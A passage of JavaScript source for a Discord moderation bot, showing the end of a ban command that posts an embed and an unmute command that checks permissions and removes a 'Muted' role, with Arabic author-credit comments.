7805 message.guild.member(user).ban(7, user);
7806
7807 const banembed = new Discord.RichEmbed()
7808 .setAuthor(`BANNED!`, user.displayAvatarURL)
7809 .setColor("RANDOM")
7810 .setTimestamp()
7811 .addField("**User:**", '**[ ' + `${user.tag}` + ' ]**')
7812 .addField("**By:**", '**[ ' + `${message.author.tag}` + ' ]**')
7813 .addField("**Reason:**", '**[ ' + `${reason}` + ' ]**')
7814 message.channel.send({
7815 embed : banembed
7816 })
7817}
7818});
7819
7820client.on('message', async message => {
7821 let mention = message.mentions.members.first();
7822let command = message.content.split(" ")[0];
7823 command = command.slice(prefix.length);
7824 let args = message.content.split(" ").slice(1); //kinggamer حقوق الفا كودز و
7825if(command === `unmute`) {2
7826 if(!message.member.hasPermission("MUTE_MEMBERS")) return message.channel.sendMessage("**You Donot HavePermission Mute_Members**").then(m => m.delete(5000));
7827if(!message.guild.member(client.user).hasPermission("MUTE_MEMBERS")) return message.reply("**I donot Have Permission Mute_Members**").then(msg => msg.delete(6000))
7828
7829 let kinggamer = message.guild.member(message.mentions.users.first()) || message.guild.members.get(args[0]);
7830 if(!kinggamer) return message.channel.send('').then(msg => {
7831 msg.delete(3500);
7832 message.delete(3500); //kinggamer حقوق الفا كودز و
7833 });
7834
7835 let role = message.guild.roles.find (r => r.name === "Muted");
7836
7837 if(!role || !kinggamer.roles.has(role.id)) return message.channel.sendMessage(`**:information_source: | ${mention.user.username} is all ready unmuted**`)
7838
7839 await kinggamer.removeRole(role) //kinggamer حقوق الفا كودز و
7840 message.channel.sendMessage(`**:ballot_box_with_check: | ${mention.user.username} UnMuted !**`);
7841
7842 return;
7843
7844 }
7845
7846});